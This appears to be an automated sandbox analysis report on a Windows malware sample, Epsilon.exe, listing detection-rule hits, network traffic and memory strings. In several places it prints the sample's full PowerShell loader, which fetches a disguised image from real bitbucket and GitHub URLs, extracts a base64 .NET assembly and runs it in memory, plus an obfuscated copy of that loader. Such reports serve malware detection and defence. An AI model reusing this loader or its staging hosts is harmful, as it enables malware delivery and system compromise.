[Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $start

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c 677174b841ee7.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7344, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs" , ProcessId: 7416, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c 677174b841ee7.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7344, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs" , ProcessId: 7416, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c 677174b841ee7.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7344, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs" , ProcessId: 7416, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Epsilon.exe, ProcessId: 7312, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.hckSkpo/sdaolnwod/rwqewqfqwf/qretretr/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $start

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c 677174b841ee7.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7344, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs" , ProcessId: 7416, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J

Data Obfuscation

Sigma detected: Powershell download and load assembly

Source: Process started

Suricata Signatures

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T00:46:01.370508+0100	2049038	1	A Network Trojan was detected	185.199.111.133	443	192.168.2.5	49704	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Epsilon.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: C:\Users\user\Desktop\Epsilon.exe

Code function: 0_2_00007FF7378230EC GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,SetCurrentDirectoryA,

0_2_00007FF7378230EC

Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.5:49705 version: TLS 1.2

Source: Epsilon.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: wextract.pdb source: Epsilon.exe
Source:	Binary string: wextract.pdbGCTL source: Epsilon.exe
Source:	Binary string: C:\Users\Administrator\source\repos\testpowershell\testpowershell\obj\Debug\testpowershell.pdb source: powershell.exe, 00000007.00000002.2169777517.000001A1DA5D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\Administrator\source\repos\testpowershell\testpowershell\obj\Debug\testpowershell.pdbG_a_ S__CorExeMainmscoree.dll source: powershell.exe, 00000007.00000002.2169777517.000001A1DA5D0000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Epsilon.exe

Code function: 0_2_00007FF73782204C FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

0_2_00007FF73782204C

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 185.199.111.133:443 -> 192.168.2.5:49704

Source: global traffic	HTTP traffic detected: GET /gmedusa135/nano/refs/heads/main/new_img123.jpg HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rterterq/fwqfqweqwr/downloads/opkSkch.txt HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 185.166.143.48 185.166.143.48
Source: Joe Sandbox View	IP Address: 185.199.111.133 185.199.111.133

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /gmedusa135/nano/refs/heads/main/new_img123.jpg HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rterterq/fwqfqweqwr/downloads/opkSkch.txt HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: bitbucket.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Dec 2024 23:46:06 GMTContent-Type: text/html; charset=utf-8Content-Length: 15006Server: AtlassianEdgeVary: authorization, cookie, user-context, Accept-Language, Origin, Accept-EncodingX-Used-Mesh: FalseContent-Language: enX-View-Name: bitbucket.apps.downloads.views.download_fileEtag: "1c2c848b4429d52ca3adbc7af471337d"X-Dc-Location: Micros-3X-Served-By: b21088039ab2X-Version: c9b3998323c0X-Static-Version: c9b3998323c0X-Request-Count: 4163X-Render-Time: 0.07419872283935547X-B3-Traceid: 9cad47e97f70404b945b4d3a04e1fe2dX-B3-Spanid: ac1738aebb95f397X-Frame-Options: SAMEORIGINContent-Security-Policy: base-uri 'self'; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: *; object-src 'none'; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/; connect-src bitbucket.org *.bitbucket.org bb-inf.net *.bb-inf.net atlassianblog.wpengine.com id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io *.ingest.sentry.io statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net micros--prod-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--prod-east--bitbucketci-file-service--files.s3.amazonaws.com micros--stg-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--stg-east--bitbucketci-file-service--files.s3.amazonaws.com micros--ddev--bitbucketci-file-service--files.s3.ap-southeast-2.amazonaws.com bqlf8qjztdtr.statuspage.io https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-

Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.2430048549.0000027B39EBC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2175839410.000001A1DC001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://admin.atlassian.com
Source: powershell.exe, 00000005.00000002.2430048549.0000027B39E95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2430048549.0000027B39E57000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2175839410.000001A1DC001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.bitbucket.org
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atlassianblog.wpengine.com/wp-json/wp/v2/posts?tags=11972&context=embed&per_page=6&orderby=d
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/c9b3998323c0/dist/webpack
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/c9b3998323c0/jsi18n/en/dj
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/gateway/api/emoji/
Source: powershell.exe, 00000005.00000002.2430048549.0000027B3A3E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2466653987.0000027B523E0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2168306779.000001A1DA390000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2175839410.000001A1DC001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2170048890.000001A1DA670000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2168503153.000001A1DA419000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2168306779.000001A1DA3B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2170230937.000001A1DA684000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.status.atlassian.com/
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://id.atlassian.com/login
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://id.atlassian.com/logout
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://id.atlassian.com/manage-profile/
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://preferences.atlassian.com
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 00000005.00000002.2430048549.0000027B3A3E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2466653987.0000027B523E0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2168306779.000001A1DA390000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2175839410.000001A1DC001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2170048890.000001A1DA670000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2168503153.000001A1DA419000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2168306779.000001A1DA3B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2170230937.000001A1DA684000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.atlassian.com/try/cloud/signup?bundle=bitbucket

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.5:49705 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

